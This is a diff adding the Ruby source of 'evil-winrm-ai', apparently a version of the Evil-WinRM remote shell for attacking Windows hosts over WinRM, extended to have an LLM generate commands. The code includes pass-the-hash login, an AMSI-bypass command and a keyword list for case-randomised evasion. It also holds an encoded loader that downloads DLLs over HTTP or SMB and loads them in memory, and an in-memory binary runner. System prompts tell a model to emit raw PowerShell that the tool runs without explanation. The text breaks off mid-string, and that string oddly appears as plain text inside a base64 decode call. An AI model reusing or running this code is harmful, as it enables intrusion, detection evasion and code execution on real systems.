evil-winrm-ai 4.0

data/evil-winrm-ai.rb

@@ -0,0 +1,1522 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+# Author: CyberVaca
+# Twitter: https://twitter.com/CyberVaca_
+# Based on the Alamot's original code
+
+# Dependencies
+require 'English'
+require 'winrm'
+require 'winrm-fs'
+require 'stringio'
+require 'base64'
+require 'readline'
+require 'optionparser'
+require 'io/console'
+require 'time'
+require 'fileutils'
+require 'logger'
+require 'shellwords'
+
+# Constants
+
+# Version
+VERSION = '4.0'
+
+# Msg types
+TYPE_INFO = 0
+TYPE_ERROR = 1
+TYPE_WARNING = 2
+TYPE_DATA = 3
+TYPE_SUCCESS = 4
+
+# Global vars
+
+# Available commands
+$LIST = %w[Bypass-4MSI services upload download menu exit]
+$COMMANDS = $LIST.dup
+$CMDS = $COMMANDS.clone
+$LISTASSEM = [''].sort
+$DONUTPARAM1 = ['-process_id']
+$DONUTPARAM2 = ['-donutfile']
+
+# menu and show-global-methods commands
+$MENU_CMD = ""
+$SHOW_GLOBAL_METHODS_CMD = ""
+
+$WORDS_RANDOM_CASE = [
+  '[Runtime.InteropServices.Marshal]',
+  'System.Runtime.InteropServices.Marshal',
+  'System.Reflection.Emit.AssemblyBuilderAccess',
+  'System.Reflection.CallingConventions',
+  'System.Reflection.AssemblyName',
+  'System.MulticastDelegate',
+  'GetDelegateForFunctionPointer',
+  'Import-PowerShellDataFile',
+  'ImportSystemModules',
+  'New-TemporaryFile',
+  '.MakeByRefType',
+  '.CreateType',
+  '.DefineConstructor',
+  '.DefineMethod',
+  '.DefineDynamicModule',
+  'function ',
+  'WriteByte',
+  '[Ref]',
+  'Assembly.GetType',
+  'GetField',
+  '[System.Net.WebUtility]',
+  'HtmlDecode',
+  'Reflection.BindingFlags',
+  'NonPublic',
+  'Static',
+  'GetValue',
+  'ForEach-Object',
+  'Where-Object',
+  'Select-Object',
+  '.name',
+  'showmethods',
+  'function:',
+  '.CommandType',
+  '-contains',
+  '-notmatch',
+  '-like',
+  '-notlike',
+  '-notcontains',
+  '-and',
+  'ls ',
+  '$global',
+  '-Property'
+]
+
+# Colors and path completion
+$colors_enabled = true
+$check_rpath_completion = true
+
+# Path for ps1 scripts and exec files
+$scripts_path = ''
+$executables_path = ''
+
+# Connection vars initialization
+$host = ''
+$port = '5985'
+$user = ''
+$password = ''
+$url = 'wsman'
+$default_service = 'HTTP'
+$full_logging_path = "#{Dir.home}/evil-winrm-logs"
+$user_agent = "Microsoft WinRM Client"
+
+# Supported AI LLM providers
+class SupportedLLMProviders
+  Ollama = "Ollama".downcase.freeze
+  OpenAI = "OpenAI".downcase.freeze
+  Anthropic = "Anthropic".downcase.freeze
+  MistralAI = "Mistral-AI".downcase.freeze
+  Gemini = "Gemini".downcase.freeze
+  AzureOpenAI = "AzureOpenAI".downcase.freeze
+
+  def self.all_providers
+    [
+      Ollama,
+      OpenAI,
+      Anthropic,
+      MistralAI,
+      Gemini,
+      AzureOpenAI
+    ]
+  end
+
+  def self.is_supported(provider)
+    all_providers.include?(provider.downcase)
+  end
+
+  def self.get_description
+    all_providers.map(&:capitalize).join(', ')
+  end
+end
+
+# Redefine download method from winrm-fs
+module WinRM
+  module FS
+    class FileManager
+      def download(remote_path, local_path, chunk_size = 1024 * 1024, first = true, size: -1)
+        @logger.debug("downloading: #{remote_path} -> #{local_path} #{chunk_size}")
+        index = 0
+        return download_dir(remote_path, local_path, chunk_size, false) if remote_path.match?(/(\*\.?|\*\*|\.?\*|\*)/)
+        output = _output_from_file(remote_path, chunk_size, index)
+        return download_dir(remote_path, local_path, chunk_size, true) if output.exitcode == 2
+        return false if output.exitcode >= 1
+
+        File.open(local_path, 'wb') do |fd|
+          begin
+            out = _write_file(fd, output)
+            index += out.length
+            until out.empty?
+              yield index, size if size != -1
+              output = _output_from_file(remote_path, chunk_size, index)
+              return false if output.exitcode >= 1
+
+              out = _write_file(fd, output)
+              index += out.length
+            end
+          rescue EstandardError => err
+            @logger.debug("IO Failed: " + err.to_s)
+            raise
+          end
+        end
+      end
+
+      def download_dir(remote_path, local_path, chunk_size, first)
+        index_exp = remote_path.index(/(\*\.?|\*\*|\.?\*|\*)/) || 0
+        remote_file_path = remote_path
+
+        if index_exp > 0
+          index_last_folder = remote_file_path.rindex(/[\\\/]/, index_exp)
+          remote_file_path = remote_file_path[0..index_last_folder-1]
+        end
+
+        FileUtils.mkdir_p(local_path) unless File.directory?(local_path)
+        command = "Get-ChildItem #{remote_path} | Select-Object Name"
+
+        @connection.shell(:powershell) { |e| e.run(command) }.stdout.strip.split(/\n/).drop(2).each do |file|
+          download(File.join(remote_file_path.to_s, file.strip), File.join(local_path, file.strip), chunk_size, false)
+        end
+      end
+
+      true
+    end
+  end
+end
+
+# Class creation
+class EvilWinRM
+  # Initialization
+  def initialize
+    @psLoaded = false
+    @directories = {}
+    @cache_ttl = 10
+    @executables = []
+    @functions = []
+    @Bypass_4MSI_loaded = false
+    @llm_messages = []
+  end
+
+  def has_llm_params
+    if $llm_provider.nil? || $llm_provider.empty?
+      return false
+    end
+    case $llm_provider
+      when SupportedLLMProviders::Ollama
+        return !($llm_url.nil? || $llm_url.empty? || $llm_model.nil? || $llm_model.empty?)
+      else
+        return !($llm_api_key.nil? || $llm_api_key.empty?)
+    end
+  end
+
+  def is_llm_model_defined
+    !($llm_model.nil? || $llm_model.empty?)
+  end
+
+  def initialize_llm_connection
+    case $llm_provider
+      when SupportedLLMProviders::Ollama
+        require 'ollama-ai'
+
+        @llm = Langchain::LLM::Ollama.new(
+          url: $llm_url,
+          default_options: {
+            temperature: 0.0,
+            chat_completion_model_name: $llm_model
+          }
+        )
+      when SupportedLLMProviders::OpenAI
+        require 'openai'
+
+        llm_options = {}
+        llm_options[:log_errors] = $llm_log_level
+
+        @llm = Langchain::LLM::OpenAI.new(
+          api_key: $llm_api_key,
+          llm_options: llm_options, # Available options: https://github.com/alexrudall/ruby-openai/blob/main/lib/openai/client.rb#L5-L13
+          default_options: {}
+        )
+      when SupportedLLMProviders::AzureOpenAI
+        require 'openai'
+
+        azure_url_parts = $llm_url.split('/chat/completions?api-version=')
+        azure_chat_endpoint = azure_url_parts[0]
+        azure_chat_version = azure_url_parts[1]
+
+        llm_options = {}
+        llm_options[:log_errors] = $llm_log_level
+        llm_options[:api_type] = :azure
+        llm_options[:api_version] = azure_chat_version
+
+        @llm = Langchain::LLM::Azure.new(
+          api_key: $llm_api_key,
+          chat_deployment_url: azure_chat_endpoint,
+          llm_options: llm_options # Available options: https://github.com/alexrudall/ruby-openai/blob/main/lib/openai/client.rb#L5-L13
+        )
+      when SupportedLLMProviders::Anthropic
+        require 'anthropic'
+
+        @llm = Langchain::LLM::Anthropic.new(
+          api_key: $llm_api_key,
+          default_options: {}
+        )
+      when SupportedLLMProviders::MistralAI
+        require 'mistral-ai'
+
+        @llm = Langchain::LLM::MistralAI.new(
+          api_key: $llm_api_key,
+          default_options: {}
+        )
+      when SupportedLLMProviders::Gemini
+        require 'net/http'
+
+        @llm = Langchain::LLM::GoogleGemini.new(api_key: $llm_api_key)
+      else
+        raise "LLM provider #{$llm_provider} not supported. Supported providers are: #{SupportedLLMProviders::get_description}"
+    end
+    @llm_messages = []
+  end
+
+  def get_system_messages
+    [{
+      role: 'system',
+      content: 'You are an Advanced Powershell Command Generator. You process user prompts, evaluate the best single response, and return only raw powershell commands. Raw Powershell commands ready for be executed by another tool chained. Evaluate potential options and return the single best option for the user.'
+    }, {
+      role: 'system',
+      content: 'As an Advanced Powershell Command Generator, in case of the need for concatenate more than one command do it with ";". No comments or explanations are allowed. Only commands as response are allowed. If no commands are suitable a powershell comment is returned to the user.'
+    }, {
+      role: 'system',
+      content: 'Advanced Powershell Command Generator NEVER use newline characters or carriage return character. Adhere strictly to Powershell syntax and rules. Markdown code blocks are NOT ALLOWED. NEVER return Markdown result only Powershell text based content IS ALLOWED. NEVER return Markdown results like "```powershell" or "```" or "`"'
+    }]
+  end
+
+  def system_initial_system_prompt
+    get_system_messages.map {|m| m[:content]}.join(" ")
+  end
+
+  def get_message_for_llm(prompt_text)
+    return {
+      role: 'user',
+      content: prompt_text
+    }
+  end
+
+  def add_message_to_llm_messages(message)
+    system_messages = get_system_messages
+    if @llm_messages.nil? || @llm_messages.empty?
+      @llm_messages.concat(system_messages)
+    end
+    if @llm_messages.length > system_messages.length
+      @llm_messages = []
+      @llm_messages.concat(system_messages)
+    end
+    @llm_messages << message
+  end
+
+  def get_llm_params(prompt_text)
+    params = {}
+    case $llm_provider
+    when SupportedLLMProviders::Gemini
+      gemini_messages = []
+      system_parts = get_system_messages.map {|msg| {"text": msg[:content]} }
+      gemini_messages << {
+        'role': 'model',
+        'parts':system_parts
+      }
+      gemini_messages << {
+        'role': 'user',
+        'parts': [
+          {
+            "text": prompt_text
+          }
+        ]
+      }
+      params[:messages] = gemini_messages
+    when SupportedLLMProviders::Anthropic
+      system_prompt = system_initial_system_prompt
+      params = {
+        "message": [prompt_text],
+        "system": system_prompt
+      }
+    else
+      llm_message = get_message_for_llm(prompt_text)
+      add_message_to_llm_messages(llm_message)
+      params = {
+        "messages": @llm_messages
+      }
+    end
+    if is_llm_model_defined
+      params["model"] = $llm_model
+    end
+    return params
+  end
+
+  def process_message_llm_ollama(prompt_text)
+    params = get_llm_params(prompt_text)
+    command = ""
+    @llm.chat(
+      model: params[:model],
+      messages: params[:messages]
+    ) do |resp|
+      command_part = resp.chat_completion
+      unless command_part.nil? || command_part.empty?
+        print command_part
+        command += command_part
+      end
+    end
+    command
+  end
+
+  def process_message_llm_sync(prompt_text)
+    params = get_llm_params(prompt_text)
+    resp = @llm.chat(params)
+    command = ""
+    command_part = resp.chat_completion
+    unless command_part.nil? || command_part.empty?
+      print command_part
+      command = command_part
+    end
+    command
+  end
+
+  def process_message_llm(prompt_text)
+    print_message("Generating commands...", TYPE_INFO, true)
+    begin
+      case $llm_provider
+      when SupportedLLMProviders::Ollama
+        command = process_message_llm_ollama(prompt_text)
+      else
+        command = process_message_llm_sync(prompt_text)
+      end
+    rescue StandardError => e
+      command = ""
+      print_message("Error in LLM: #{e.class} -> #{e}.\nPlease refer to the --help option to find the required parameters for using LLM", TYPE_ERROR)
+    end
+    command
+  end
+
+  # Remote path completion compatibility check
+  def completion_check
+    if $check_rpath_completion == true
+      begin
+        Readline.quoting_detection_proc
+        @completion_enabled = true
+      rescue NotImplementedError, NoMethodError => e
+        @completion_enabled = false
+          print_message("Remote path completions is disabled due to ruby limitation: #{e}", TYPE_WARNING)
+          print_message('For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion', TYPE_DATA)
+      end
+    else
+      @completion_enabled = false
+      print_message('Remote path completion is disabled', TYPE_WARNING)
+    end
+  end
+
+  # Arguments
+  def arguments
+    options = { port: $port, url: $url, service: $service, user_agent: $user_agent }
+    optparse = OptionParser.new do |opts|
+      opts.banner = 'Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]'
+      opts.on('-S', '--ssl', 'Enable ssl') do |_val|
+        $ssl = true
+        options[:port] = '5986'
+      end
+      opts.on('-c', '--pub-key PUBLIC_KEY_PATH', 'Local path to public key certificate') do |val|
+        options[:pub_key] = val
+      end
+      opts.on('-k', '--priv-key PRIVATE_KEY_PATH', 'Local path to private key certificate') do |val|
+        options[:priv_key] = val
+      end
+      opts.on('-r', '--realm DOMAIN',
+              'Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com }') do |val|
+        options[:realm] = val.upcase
+      end
+      opts.on('-s', '--scripts PS_SCRIPTS_PATH', 'PowerShell scripts local path') do |val|
+        options[:scripts] = val
+      end
+      opts.on('--llm LLM_NAME', "Name for the LLM provider to use (#{SupportedLLMProviders::get_description})") do |val|
+        options[:llm_provider] = val.downcase
+      end
+      opts.on('--llm-model LLM_MODEL_NAME', 'The LLM model to use') do |val|
+        options[:llm_model] = val
+      end
+      opts.on('--llm-url LLM_URL', "The url of LLM service (used by #{SupportedLLMProviders::Ollama.capitalize} and #{SupportedLLMProviders::AzureOpenAI.capitalize})") do |val|
+        options[:llm_url] = val
+      end
+      opts.on('--llm-api-key LLM_API_KEY', 'The LLM api key to use') do |val|
+        options[:llm_api_key] = val
+      end
+      opts.on('--llm-history', 'Enable LLM generated commands to be saved in history (default false)') do |_val|
+        options[:llm_history] = true
+      end
+      opts.on('--llm-debug', 'Enable LLM logging (default false)') do | _ |
+        options[:llm_log_errors] = Logger::DEBUG
+      end
+      opts.on('--spn SPN_PREFIX', 'SPN prefix for Kerberos auth (default HTTP)') { |val| options[:service] = val }
+      opts.on('-e', '--executables EXES_PATH', 'C# executables local path') { |val| options[:executables] = val }
+      opts.on('-i', '--ip IP', 'Remote host IP or hostname. FQDN for Kerberos auth (required)') do |val|
+        options[:ip] = val
+      end
+      opts.on('-U', '--url URL', 'Remote url endpoint (default /wsman)') { |val| options[:url] = val }
+      opts.on('-u', '--user USER', 'Username (required if not using kerberos)') { |val| options[:user] = val }
+      opts.on('-p', '--password PASS', 'Password') { |val| options[:password] = val }
+      opts.on('-H', '--hash HASH', 'NTHash') do |val|
+        if !options[:password].nil? && !val.nil?
+          print_header
+          print_message('You must choose either password or hash auth. Both at the same time are not allowed', TYPE_ERROR)
+          custom_exit(1, false)
+        end
+        unless val.match(/^[a-fA-F0-9]{32}$/)
+          print_header
+          print_message('Invalid hash format', TYPE_ERROR)
+          custom_exit(1, false)
+        end
+        options[:password] = "00000000000000000000000000000000:#{val}"
+      end
+      opts.on('-P', '--port PORT', 'Remote host port (default 5985)') { |val| options[:port] = val }
+      opts.on('-a', '--user-agent USERAGENT', 'Specify connection user-agent (default Microsoft WinRM Client)') do |val|
+        options[:user_agent] = val
+      end
+      opts.on('-V', '--version', 'Show version') do |_val|
+        puts("v#{VERSION}")
+        custom_exit(0, false)
+      end
+      opts.on('-n', '--no-colors', 'Disable colors') do |_val|
+        $colors_enabled = false
+      end
+      opts.on('-N', '--no-rpath-completion', 'Disable remote path completion') do |_val|
+        $check_rpath_completion = false
+      end
+      opts.on('-l', '--log', 'Log the WinRM session') do |_val|
+        $log = true
+        $filepath = ''
+        $logfile = ''
+        $logger = ''
+      end
+      opts.on('-h', '--help', 'Display this help message') do
+        print_header
+        puts
+        puts(opts)
+        custom_exit(0, false)
+      end
+    end
+
+    begin
+      optparse.parse!
+      mandatory = if options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
+                    %i[ip user]
+                  else
+                    [:ip]
+                  end
+      missing = mandatory.select { |param| options[param].nil? }
+      raise OptionParser::MissingArgument, missing.join(', ') unless missing.empty?
+    rescue OptionParser::InvalidOption, OptionParser::MissingArgument
+      print_header
+      print_message($ERROR_INFO.to_s, TYPE_ERROR, true, $logger)
+      puts
+      puts(optparse)
+      custom_exit(1, false)
+    end
+
+    if options[:password].nil? && options[:realm].nil? && options[:priv_key].nil? && options[:pub_key].nil?
+      options[:password] = $stdin.getpass(prompt = 'Enter Password: ')
+    end
+
+    $host = options[:ip]
+    $user = options[:user]
+    $password = options[:password]
+    $port = options[:port]
+    $scripts_path = options[:scripts]
+    $executables_path = options[:executables]
+    $url = options[:url]
+    $pub_key = options[:pub_key]
+    $priv_key = options[:priv_key]
+    $realm = options[:realm]
+    $service = options[:service]
+    $user_agent = options[:user_agent]
+    $llm_url = options[:llm_url]
+    $llm_model = options[:llm_model]
+    $llm_provider = options[:llm_provider]
+    $llm_api_key = options[:llm_api_key]
+    $llm_history = options[:llm_history] || false
+    $llm_log_level = options[:llm_log_errors] || Logger::ERROR
+    unless $log.nil?
+
+      FileUtils.mkdir_p $full_logging_path
+
+      FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}"
+
+      FileUtils.mkdir_p "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}"
+
+      $filepath = "#{$full_logging_path}/#{Time.now.strftime('%Y%d%m')}/#{$host}/#{Time.now.strftime('%H%M%S')}"
+      $logger = Logger.new($filepath)
+      $logger.formatter = proc do |_severity, datetime, _progname, msg|
+        "#{datetime}: #{msg}\n"
+      end
+    end
+    return if $realm.nil?
+    return unless $service.nil?
+
+    $service = $default_service
+  end
+
+  # Print script header
+  def print_header
+    print_message("Evil-WinRM shell v#{VERSION}", TYPE_INFO, false)
+  end
+
+  # Generate connection object
+  def connection_initialization
+    if $ssl
+      $conn = if $pub_key && $priv_key
+                WinRM::Connection.new(
+                  endpoint: "https://#{$host}:#{$port}/#{$url}",
+                  user: $user,
+                  password: $password,
+                  no_ssl_peer_verification: true,
+                  transport: :ssl,
+                  client_cert: $pub_key,
+                  client_key: $priv_key,
+                  user_agent: $user_agent
+                )
+              else
+                WinRM::Connection.new(
+                  endpoint: "https://#{$host}:#{$port}/#{$url}",
+                  user: $user,
+                  password: $password,
+                  no_ssl_peer_verification: true,
+                  transport: :ssl,
+                  user_agent: $user_agent
+                )
+              end
+
+    elsif !$realm.nil?
+      $conn = WinRM::Connection.new(
+        endpoint: "http://#{$host}:#{$port}/#{$url}",
+        user: '',
+        password: '',
+        transport: :kerberos,
+        realm: $realm,
+        service: $service,
+        user_agent: $user_agent
+      )
+    else
+      $conn = WinRM::Connection.new(
+        endpoint: "http://#{$host}:#{$port}/#{$url}",
+        user: $user,
+        password: $password,
+        no_ssl_peer_verification: true,
+        user_agent: $user_agent
+      )
+    end
+  end
+
+  # Detect if a docker environment
+  def docker_detection
+    return true if File.exist?('/.dockerenv')
+
+    false
+  end
+
+  # Define colors
+  def colorize(text, color = 'default')
+    colors = { 'default' => '38', 'blue' => '34', 'red' => '31', 'yellow' => '1;33', 'magenta' => '35', 'green' => '1;32' }
+    color_code = colors[color]
+    "\001\033[0;#{color_code}m\002#{text}\001\033[0m\002"
+  end
+
+  # Messsage printing
+  def print_message(msg, msg_type=TYPE_INFO, prefix_print=true, log=nil)
+    if msg_type == TYPE_INFO then
+      msg_prefix = "Info: "
+      color = "blue"
+    elsif msg_type == TYPE_WARNING then
+      msg_prefix = "Warning: "
+      color = "yellow"
+    elsif msg_type == TYPE_ERROR then
+      msg_prefix = "Error: "
+      color = "red"
+    elsif msg_type == TYPE_DATA then
+      msg_prefix = "Data: "
+      color = 'magenta'
+    elsif msg_type == TYPE_SUCCESS then
+      color = 'green'
+    else
+      msg_prefix = ""
+      color = "default"
+    end
+
+    if !prefix_print then
+      msg_prefix = ""
+    end
+
+    puts('                                        ')
+
+    if $colors_enabled then
+      puts(self.colorize("#{msg_prefix}#{msg}", color))
+    else
+      puts("#{msg_prefix}#{msg}")
+    end
+
+    if !log.nil?
+      log.info("#{msg_prefix}#{msg}")
+    end
+  end
+
+  # SSL validation
+  def check_ssl(pub_key, priv_key)
+    pub_key = pub_key.to_s
+    priv_key = priv_key.to_s
+    if $ssl
+      unless pub_key.empty? && priv_key.empty? then
+        unless [pub_key, priv_key].all? {|f| File.exist?(f) } then
+          print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(pub_key)
+
+          print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) unless File.exist?(priv_key)
+
+          custom_exit(1)
+        end
+      end
+      print_message('SSL enabled', TYPE_WARNING)
+    else
+      print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger) unless pub_key.empty? && priv_key.empty?
+    end
+  end
+
+  # Directories validation
+  def check_directories(path, purpose)
+    if path == ''
+      print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    end
+
+    if !(/cygwin|mswin|mingw|bccwin|wince|emx/ =~ RUBY_PLATFORM).nil?
+      # Windows
+      path.concat('\\') if path[-1] != '\\'
+    elsif path[-1] != '/'
+      # Unix
+      path.concat('/')
+    end
+
+    unless File.directory?(path)
+      print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger)
+      custom_exit(1)
+    end
+
+    case purpose
+    when 'scripts'
+      $scripts_path = path
+    when 'executables'
+      $executables_path = path
+    end
+  end
+
+  # Silent warnings
+  def silent_warnings
+    old_stderr = $stderr
+    $stderr = StringIO.new
+    yield
+  ensure
+    $stderr = old_stderr
+  end
+
+  # Read powershell script files
+  def read_scripts(scripts)
+    files = Dir.entries(scripts).select { |f| File.file? File.join(scripts, f) } || []
+    files.grep(/^*\.(ps1|psd1|psm1)$/)
+  end
+
+  # Read executable files
+  def read_executables(executables)
+    Dir.glob("#{executables}*.exe", File::FNM_DOTMATCH)
+  end
+
+  # Read local files and directories names
+  def paths(a_path)
+    parts = get_dir_parts(a_path)
+    my_dir = parts[0]
+    grep_for = parts[1]
+
+    my_dir = File.expand_path(my_dir)
+    my_dir += '/' unless my_dir[-1] == '/'
+
+    files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH)
+    directories = Dir.glob("#{my_dir}*").select { |f| File.directory? f }
+
+    result = (files + directories) || []
+
+    result.grep(/^#{Regexp.escape(my_dir)}#{grep_for}/i).uniq
+  end
+
+  # Custom exit
+  def custom_exit(exit_code = 0, message_print = true)
+    if message_print
+      case exit_code
+      when 0
+        print_message("Exiting with code #{exit_code}", TYPE_INFO, true, $logger)
+      when 1
+        print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
+      when 130
+        print_message('Exiting...', TYPE_INFO, true, $logger)
+      else
+        print_message("Exiting with code #{exit_code}", TYPE_ERROR, true, $logger)
+      end
+    end
+    exit(exit_code)
+  end
+
+  # Progress bar
+  def progress_bar(bytes_done, total_bytes)
+    progress = ((bytes_done.to_f / total_bytes) * 100).round
+    progress_bar = (progress / 10).round
+    progress_string = '▓' * (progress_bar - 1).clamp(0, 9)
+    progress_string = "#{progress_string}▒#{'░' * (10 - progress_bar)}"
+    message = "Progress: #{progress}% : |#{progress_string}|          \r"
+    $stdout.print message
+  end
+
+  # Get filesize
+  def filesize(shell, path)
+    shell.run("(get-item '#{path}').length").output.strip.to_i
+  end
+
+  # Main function
+  def main
+    arguments
+    if has_llm_params
+      begin
+        require "langchain"
+
+        Langchain.logger.level = $llm_log_level
+
+        print_message("Evil-WinRM - Experimental - AI LLM support enabled", TYPE_WARNING, true)
+        initialize_llm_connection
+      rescue StandardError => e
+        print_message("LLM error: #{e}.\nPlease refer to the --help option to find the required parameters for using LLM", TYPE_ERROR, true)
+        custom_exit(130)
+      end
+    end
+    connection_initialization
+    file_manager = WinRM::FS::FileManager.new($conn)
+    print_header
+    completion_check
+
+    # Log check
+    print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true) unless $log.nil?
+
+    # SSL checks
+    check_ssl($pub_key, $priv_key)
+
+    # Kerberos checks
+    if !$user.nil? && !$realm.nil?
+      print_message('User is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
+    end
+
+    if !$password.nil? && !$realm.nil?
+      print_message('Password is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
+    end
+
+    if $realm.nil? && !$service.nil?
+      print_message('Useless spn provided, only used for Kerberos auth', TYPE_WARNING, true, $logger)
+    end
+
+    unless $scripts_path.nil?
+      check_directories($scripts_path, 'scripts')
+      @functions = read_scripts($scripts_path)
+      silent_warnings do
+        $LIST = $LIST + @functions
+      end
+    end
+
+    unless $executables_path.nil?
+      check_directories($executables_path, 'executables')
+      @executables = read_executables($executables_path)
+    end
+    dllloader = Base64.decode64('ZnVuY3Rpb24gRGxsLUxvYWRlciB7CiAgICBwYXJhbShbc3dpdGNoXSRzbWIsIFtzd2l0Y2hdJGxvY2FsLCBbc3dpdGNoXSRodHRwLCBbc3RyaW5nXSRwYXRoKQoKICAgICRoZWxwPUAiCi5TWU5PUFNJUwogICAgZGxsIGxvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERsbC1Mb2FkZXIKICAgIEF1dGhvcjogSGVjdG9yIGRlIEFybWFzICgzdjRTaTBOKQoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgLgouRVhBTVBMRQogICAgRGxsLUxvYWRlciAtc21iIC1wYXRoIFxcMTkyLjE2OC4xMzkuMTMyXFxzaGFyZVxcbXlEbGwuZGxsCiAgICBEbGwtTG9hZGVyIC1sb2NhbCAtcGF0aCBDOlxVc2Vyc1xQZXBpdG9cRGVza3RvcFxteURsbC5kbGwKICAgIERsbC1Mb2FkZXIgLWh0dHAgLXBhdGggaHR0cDovL2V4YW1wbGUuY29tL215RGxsLmRsbAoKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBsb2FkcyBhbiBhcmJpdHJhcnkgZGxsCiJACgogICAgaWYgKCgkc21iIC1lcSAkZmFsc2UgLWFuZCAkbG9jYWwgLWVxICRmYWxzZSAtYW5kICRodHRwIC1lcSAkZmFsc2UpIC1vciAoJHBhdGggLWVxICIiIC1vciAkcGF0aCAtZXEgJG51bGwpKQogICAgewogICAgICAgIHdyaXRlLWhvc3QgIiRoZWxwYG4iCiAgICB9CiAgICBlbHNlCiAgICB7CgogICAgICAgIGlmICgkaHR0cCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBieSBIVFRQIgogICAgICAgICAgICAkd2ViY2xpZW50ID0gW05ldC5XZWJDbGllbnRdOjpuZXcoKQogICAgICAgICAgICAkZGxsID0gJHdlYmNsaWVudC5Eb3dubG9hZERhdGEoJHBhdGgpCiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGlmKCRzbWIpeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgYnkgU01CIiB9CiAgICAgICAgICAgIGVsc2UgeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgbG9jYWxseSIgfQoKICAgICAgICAgICAgJGRsbCA9IFtTeXN0ZW0uSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkcGF0aCkKICAgICAgICB9CiAgICAgICAgCgogICAgICAgIGlmICgkZGxsIC1uZSAkbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBMb2FkaW5nIGRsbC4uLiIKICAgICAgICAgICAgJGFzc2VtYmx5X2xvYWRlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGRsbCkKICAgICAgICAgICAgJG9iaiA9ICgoJGFzc2VtYmx5X2xvYWRlZC5HZXRFeHBvcnRlZFR5cGVzKCkgfCBTZWxlY3QtT2JqZWN0IERlY2xhcmVkTWV0aG9kcyApLkRlY2xhcmVkTWV0aG9kcyB8IFdoZXJlLU9iamVjdCB7JF8uaXNwdWJsaWMgLWVxICR0cnVlfSB8IFNlbGVjdC1PYmplY3QgRGVjbGFyaW5nVHlwZSxuYW1lIC1VbmlxdWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKQogICAgICAgICAgICBbYXJyYXldJG1ldGhvZHMgPSBmb3JlYWNoICgkYXNzZW1ibHlwcm9wZXJ0aWVzIGluICRvYmopIHsgJG5hbWVzcGFjZSA9ICRhc3NlbWJseXByb3BlcnRpZXMuRGVjbGFyaW5nVHlwZS50b3N0cmluZygpOyAkbWV0b2RvID0gJGFzc2VtYmx5cHJvcGVydGllcy5uYW1lLnRvc3RyaW5nKCk7ICJbIiArICRuYW1lc3BhY2UgKyAiXSIgKyAiOjoiICsgJG1ldG9kbyArICIoKSIgfQogICAgICAgICAgICAkbWV0aG9kcyA9ICRtZXRob2RzIHwgU2VsZWN0LU9iamVjdCAtVW5pcXVlIDsgJGdsb2JhbDpzaG93bWV0aG9kcyA9ICAgKCRtZXRob2RzfCB3aGVyZSB7ICRnbG9iYWw6c2hvd21ldGhvZHMgIC1ub3Rjb250YWlucyAkX30pIHwgZm9yZWFjaCB7IiRfYG4ifQogICAgICAgICAgICAKICAgICAgICB9CiAgICB9Cn0=')
+    invokeBin = Base64.decode64('function Invoke-Binary {param($arg)
    $help=@"
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.


"@
if ($arg -eq $null) {$help} else {
